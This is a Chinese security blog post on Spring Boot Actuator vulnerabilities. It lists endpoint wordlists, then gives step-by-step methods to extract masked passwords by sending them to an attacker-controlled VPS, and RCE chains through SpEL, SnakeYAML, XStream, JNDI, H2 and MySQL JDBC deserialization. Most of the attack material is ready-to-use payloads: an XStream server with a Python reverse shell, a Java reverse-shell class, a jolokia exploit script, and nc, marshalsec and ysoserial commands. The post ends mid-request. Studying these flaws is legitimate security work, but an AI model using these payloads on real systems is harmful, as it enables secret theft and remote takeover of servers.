SpringBoot相关漏洞学习
2022-06-26 02:59:40 # Java安全

SpringBoot 相关漏洞的学习

路由知识

  • spring的根路径有时候设定为/manage/management、项目app路径
  • Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径
  • Spring Boot Actuator 默认的内置路由名字有时会被修改

信息泄露

开发人员么有意识到地址泄露会产生安全隐患,或者说项目从测试环境切换为开发环境时,开发人员忘记修改配置文件等。

路由地址及接口调用详情泄漏

Swagger相关

swagger相关的路径:

1
2
/v2/api-docs
/swagger-ui.html

还会遇到的 swagger、swagger codegen、swagger-dubbo 等相关接口的路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
Actuator相关

spring boot actuator 相关的路由如下:

1
2
3
4
5
6
7
8
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
druid相关

druid的相关路径如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
html:
/druid/index.html #Druid Index
/druid/sql.html #Druid sql监控页面
/druid/weburi.html #Druid Web URI监控页面
/druid/websession.html #Druid Web Session监控页面

json:
/druid/weburi.json #Druid Web URI json
/druid/websession.json #Druid Web Session json

Druid 登录接口:
/druid/login.html #Druid登录认证页面

其他:
/system/druid/login.html
/webpage/system/druid/login.html
/druid/datasource.html
/druid/wall.html
/druid/webapp.html
/system/druid/websession.html
/webpage/system/druid/websession.html
/druid/spring.html
/druid/api.html

暴露出 spring boot 应用的相关接口和传参信息并不能算是漏洞,但攻击者可以通过审计暴露出的接口以增加对业务系统的了解,并会检查应用系统是否存在未授权访问、越权等其他业务类型漏洞。

配置不当而暴露的路由

可能因为配置不当而暴露的默认内置路由可能会有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/gateway
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
/actuator/gateway
/actuator/gateway/routes

对于暴露的路由,有几个值得我们去关注:

  • /env/actuator/env

​ GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等 信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文;

​ 同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

  • /refresh/actuator/refresh

​ POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。

  • /restart/actuator/restart

​ 暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。

  • /jolokia/actuator/jolokia

​ 可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

  • /trace/actuator/httptrace

​ 一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie、jwt token 等信息。

获取被星号脱敏的密码的明文

访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

方法一

利用条件:

  • 目标网站存在 /jolokia/actuator/jolokia 接口
  • 目标使用了 jolokia-core 依赖(请求/jolokia/list接口有数据就说明引用了)

利用方法:

步骤一:找到想要获取的属性名

GET 请求目标网站的 /env/actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二:jolokia 调用相关 Mbean 获取明文

将下面示例中的 security.user.password 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 value 键中。

  • 调用 org.springframework.boot Mbean

实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法

spring 1.x

1
2
3
4
POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

1
2
3
4
POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

测试读取星号脱敏的数据库密码password

image-20220626015318831

成功读取

image-20220626014907676

  • 调用 org.springframework.cloud.context.environment Mbean

实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法,需要项目配置有spring cloud相关的依赖

spring 1.x

1
2
3
4
POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

1
2
3
4
POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","op

测试如下

image-20220626015237144

  • 调用其他Mbean
方法二

利用条件:

  • 可以 GET 请求目标网站的 /env
  • 可以 POST 请求目标网站的 /env
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
  • 目标可以请求攻击者的服务器(请求可出外网)

利用方法:

步骤一:找到想要获取的属性名

步骤二:使用nc监听 HTTP 请求

例如,在vps上监听80端口:

1
nc -lvk 80

步骤三:设置 eureka.client.serviceUrl.defaultZone 属性

将下面 http://value:${security.user.password}@your-vps-ip 中的 security.user.password 换成自己想要获取的对应的星号 * 遮掩的属性名;your-vps-ip 换成自己外网服务器的真实 ip 地址。

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

步骤四:刷新配置

spring 1.x

1
2
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/refresh
Content-Type: application/json

步骤五:解码属性值

此时 nc 监听的服务器会收到目标发来的请求,其中包含类似如下 Authorization 头内容:

1
Authorization: Basic dmFsdWU6MTIzNDU2

将其中的 dmFsdWU6MTIzNDU2部分使用 base64 解码,即可获得类似明文值 value:123456,其中的 123456 即是目标星号 * 脱敏前的属性值明文。

测试:

vps监听80端口,并通过post方式向/env接口设置如下值

image-20220626015529934

再post请求/refresh接口即可在vps上看到请求信息

image-20220626015602947

解密base64编码值

image-20220626015619429

方法三

利用条件:

  • 通过 POST /env 设置属性触发目标对外网指定地址发起任意 http 请求
  • 目标可以请求攻击者的服务器(请求可出外网)

利用方法:

步骤一:找到想要获取的属性名

步骤二:使用nc监听 HTTP 请求

在vps上监听80端口:

1
nc -lvk 80

步骤三:触发对外 http 请求

  • spring.cloud.bootstrap.location 方法(适用于明文数据中有特殊 url 字符的情况)

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

测试:

image-20220626015657074

请求/refresh接口,vps接收到外带的请求,成功带出属性值

image-20220626020436695

  • eureka.client.serviceUrl.defaultZone 方法(不适用于明文数据中有特殊 url 字符的情况)

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

测试:

image-20220626015730753

vps监听到请求

image-20220626015708272

如果读取的属性值中存在特殊字符时,可能会出现读取不全的情况,如下:

image-20220626015803160

实际设置的密码是

image-20220626020549710

步骤四:刷新配置

spring 1.x

1
2
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/refresh
Content-Type: application/json
方法四

利用条件:

  • 可正常 GET 请求目标 /heapdump/actuator/heapdump 接口

利用方法:

步骤一:找到想要获取的属性名

步骤二:下载 jvm heap 信息

下载的 heapdump 文件大小通常在 50M—500M 之间

步骤三:使用 MAT 获得 jvm heap中的密码明文

通过查询如下语法,获取heapdump文件中所有包含”password”属性的值

1
2
3
4
5
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))



select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
  • 还可以采用 heapdump_tool 命令行方式一键查询,更加方便

远程代码执行

whitelabel error page SpEL RCE

利用条件:

  • spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
  • 至少知道一个触发 springboot 默认错误页面的接口及参数名

利用方法:

步骤一:找到一个正常传参处

比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page

步骤二:执行SpEL表达式

输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。

为了方便执行java代码,先将字符串格式转换成0x** java 字节形式。

1
2
3
4
5
6
7
# coding: utf-8

result = ""
target = 'calc'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))

执行 calc 命令

1
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

测试结果如下:

image-20220626020617831

漏洞原理:

  1. spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
  2. 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析
  3. 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞

spring cloud SnakeYAML RCE

利用条件:

  • 可以 POST 请求目标网站 /env 接口设置属性
  • 可以 POST 请求目标网站 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

利用方法:

步骤一:托管 yml 和 jar文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

1
2
3
4
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在网站根目录下放置后缀为 yml 的文件 example.yml,内容如下:

1
2
3
4
5
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]

在网站根目录下放置后缀为 jar 的文件 example.jar,内容是要执行的代码,代码编写及编译方式参考 yaml-payload

步骤二:设置 spring.cloud.bootstrap.location 属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}

步骤三:刷新配置

spring 1.x

1
2
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/refresh
Content-Type: application/json

测试:

POST设置属性

image-20220626020637203

vps监听80端口,刷新配置-请求 /refresh 接口,即可触发RCE

image-20220626020650368

image-20220626020853440

漏洞原理:

  1. spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址
  2. refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件,获得其内容
  3. SnakeYAML 由于存在反序列化漏洞,所以解析恶意 yml 内容时会完成指定的动作
  4. 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件
  5. 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化
  6. 实例化类时执行恶意代码,造成 RCE 漏洞

eureka xstream deserialization RCE

利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

步骤一:架设响应恶意XStream payload网站

提供一个依赖 Flask 并符合要求的python脚本,作用是利用目标 Linux 机器上自带的 python 来反弹shell。

使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。

command,标签中编写要执行的命令即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-

from flask import Flask, Response

app = Flask(__name__)


@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')


if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)

步骤二:监听反弹shell的端口

一般使用 nc 监听端口,等待反弹 shell

1
nc -lvp 443

步骤三:设置 eureka.client.serviceUrl.defaultZone 属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}

步骤四:刷新配置

spring 1.x

1
2
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/refresh
Content-Type: application/json

测试:

POST设置属性值

image-20220626021217346

vps上运行python脚本

image-20220626021321200

这里测试弹出计算器成功

image-20220626021352878

jolokia logback JNDI RCE

利用条件:

  • 目标网站存在 /jolokia/actuator/jolokia 接口
  • 目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
  • 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过

利用方法:

步骤一:查看已存在的 MBeans

访问 /jolokia/list 接口,查看是否存在 ch.qos.logback.classic.jmx.JMXConfiguratorreloadByURL 关键词。

步骤二:托管 xml 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

1
2
3
4
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以 xml 结尾的 example.xml 文件,内容如下:

1
2
3
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>

步骤三:准备要执行的 Java 代码

编写优化过后的用来反弹 shell 的 Java 示例代码 JNDIObject.java

使用兼容低版本 jdk 的方式编译:

1
javac -source 1.5 -target 1.5 JNDIObject.java

然后将生成的 JNDIObject.class 文件拷贝到 步骤二 中的网站根目录。

步骤四:架设恶意 ldap 服务

下载 marshalsec ,使用下面命令架设对应的 ldap 服务:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

步骤五:监听反弹 shell 的端口

一般使用 nc 监听端口,等待反弹 shell

1
nc -lv 443

步骤六:从外部 URL 地址加载日志配置文件

⚠️ 如果目标成功请求了example.xml 并且 marshalsec 也接收到了目标请求,但是目标没有请求 JNDIObject.class,大概率是因为目标环境的 jdk 版本太高,导致 JNDI 利用失败。

替换实际的 your-vps-ip 地址访问 URL 触发漏洞:

1
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml

测试:

访问URL

image-20220626021601495

HTTP 服务看到请求记录

image-20220626021543950

marshalsec 也接收到了目标请求

image-20220626021619867

漏洞原理:

  1. 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法
  2. 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
  3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
  4. xml 文件中利用 logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址
  5. 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞

jolokia Realm JNDI RCE

利用条件:

  • 目标网站存在 /jolokia/actuator/jolokia 接口
  • 目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
  • 目标可以请求攻击者的服务器(请求可出外网)
  • 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过

利用方法:

步骤一:查看已存在的 MBeans

访问 /jolokia/list 接口,查看是否存在 type=MBeanFactorycreateJNDIRealm 关键词。

步骤二:准备要执行的 Java 代码

编写优化过后的用来反弹 shell 的java代码JNDIObject.java

步骤三:托管 class 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

1
2
3
4
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

步骤二中编译好的 class 文件拷贝到 HTTP 服务器根目录。

步骤四:架设恶意 rmi 服务

下载 marshalsec ,使用下面命令架设对应的 rmi 服务:

1
2
3
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://42.194.149.25:80/#JNDIObject 1389

步骤五:监听反弹 shell 的端口

一般使用 nc 监听端口,等待反弹 shell

1
nc -lvp 443

步骤六:发送恶意 payload

根据实际情况修改 springboot-realm-jndi-rce.py 脚本中的目标地址,RMI 地址、端口等信息,然后在自己控制的服务器上运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt


import requests


url = 'http://127.0.0.1:9094/jolokia'


create_realm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}

wirte_factory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}

write_url = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://vps-ip:1389/JNDIObject"
}

stop = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}

start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}

flow = [create_realm, wirte_factory, write_url, stop, start]

for i in flow:
print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
r = requests.post(url, json=i)
r.json()
print(r.status_code)

测试:

JNDIObject.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
/**
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
static {
try{
String ip = "your-vps-ip";
String port = "443";
String py_path = null;
String[] cmd;
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
for(int i = 0; i < py_envs.length; ++i) {
String py = py_envs[i];
if ((new File(py)).exists()) {
py_path = py;
break;
}
}
if (py_path != null) {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
} else {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
}
} else {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{"/bin/bash"};
} else {
cmd = new String[]{"/bin/sh"};
}
}
} else {
cmd = new String[]{"cmd.exe"};
}
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s = new Socket(ip, Integer.parseInt(port));
InputStream pi = p.getInputStream();
InputStream pe = p.getErrorStream();
InputStream si = s.getInputStream();
OutputStream po = p.getOutputStream();
OutputStream so = s.getOutputStream();
while(!s.isClosed()) {
while(pi.available() > 0) {
so.write(pi.read());
}
while(pe.available() > 0) {
so.write(pe.read());
}
while(si.available() > 0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50L);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
}catch (Throwable e){
e.printStackTrace();
}
}
}

命令执行成功

image-20220626021705177

HTTP 服务受到请求

image-20220626022312573

marshalsec 也接收到了目标请求

image-20220626021741930

漏洞原理:

  1. 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm
  2. 设置 connectionURL 地址为 RMI Service URL
  3. 设置 contextFactory 为 RegistryContextFactory
  4. 停止 Realm
  5. 启动 Realm 以触发指定 RMI 地址的 JNDI 注入,造成 RCE 漏洞

restart h2 database query RCE

利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /restart 接口重启应用
  • 存在 com.h2database.h2 依赖(版本要求暂未知)

步骤一:设置 spring.datasource.hikari.connection-test-query 属性

⚠️ 下面payload 中的 ‘T5’ 方法每一次执行命令后都需要更换名称 (如 T6) ,然后才能被重新创建使用,否则下次 restart 重启应用时漏洞不会被触发

spring 1.x(无回显执行命令)

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');

spring 2.x(无回显执行命令)

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}

步骤二:重启应用

spring 1.x

1
2
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/restart
Content-Type: application/json

测试:

POST 设置属性值

image-20220626022352954

请求 /restart 接口,即可触发

image-20220626022403101

漏洞原理:

  1. spring.datasource.hikari.connection-test-query 属性被设置为一条恶意的 CREATE ALIAS 创建自定义函数的 SQL 语句
  2. 其属性对应 HikariCP 数据库连接池的 connectionTestQuery 配置,定义一个新数据库连接之前被执行的 SQL 语句
  3. restart 重启应用,会建立新的数据库连接
  4. 如果 SQL 语句中的自定义函数还没有被执行过,那么自定义函数就会被执行,造成 RCE 漏洞

h2 database console JNDI RCE

利用条件:

  • 存在 com.h2database.h2 依赖(版本要求暂未知)
  • spring 配置中启用 h2 console spring.h2.console.enabled=true
  • 目标可以请求攻击者的服务器(请求可出外网)
  • JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式)

利用方法:

步骤一:访问路由获得 jsessionid

直接访问目标开启 h2 console 的默认路由 /h2-console,目标会跳转到页面 /h2-console/login.jsp?jsessionid=xxxxxx,记录下实际的 jsessionid=xxxxxx 值。

步骤二:准备要执行的 Java 代码

编写优化过后的用来反弹 shell 的java代码JNDIObject.java

使用兼容低版本 jdk 的方式编译:

1
javac -source 1.5 -target 1.5 JNDIObject.java

然后将生成的 JNDIObject.class 文件拷贝到 步骤二 中的网站根目录。

步骤三:托管 class 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

1
2
3
4
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

步骤二中编译好的 class 文件拷贝到 HTTP 服务器根目录。

步骤四:架设恶意 ldap 服务

下载 marshalsec ,使用下面命令架设对应的 ldap 服务:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

步骤五:监听反弹 shell 的端口

一般使用 nc 监听端口,等待反弹 shell

1
nc -lv 443

步骤六:发包触发 JNDI 注入

根据实际情况,替换下面数据中的 jsessionid=xxxxxxwww.example.comldap://your-vps-ip:1389/JNDIObject

1
2
3
4
5
6
POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx

language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=

测试:

访问h2控制台

image-20220626022436323

发送如下数据包,url改为ldap的地址,发送即可触发RCE

image-20220626022447977

marshalsec 接收到了目标请求

image-20220626022505695

HTTP 也接到了请求

image-20220626022519608

mysql jdbc deserialization RCE

利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标环境中存在 mysql-connector-java 依赖
  • 目标可以请求攻击者的服务器(请求可出外网)

步骤一:查看环境依赖

GET 请求 /env/actuator/env,搜索环境变量(classpath)中是否有 mysql-connector-java 关键词,并记录下其版本号(5.x 或 8.x);

搜索并观察环境变量中是否存在常见的反序列化 gadget 依赖,比如 commons-collectionsJdk7u21Jdk8u20 等;

搜索 spring.datasource.url 关键词,记录下其 value 值,方便后续恢复其正常 jdbc url 值。

步骤二:架设恶意 rogue mysql server

在自己控制的服务器上运行 springboot-jdbc-deserialization-rce.py 脚本,并使用 ysoserial 自定义要执行的命令:

1
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser

在脚本同目录下生成 payload.ser 反序列化 payload 文件,供脚本使用。

步骤三:设置 spring.datasource.url 属性

⚠️ 修改此属性会暂时导致网站所有的正常数据库服务不可用,会对业务造成影响,请谨慎操作!

mysql-connector-java 5.x 版本设置属性值为:

1
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

mysql-connector-java 8.x 版本设置属性值为:

1
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

spring 1.x

1
2
3
4
POST /env
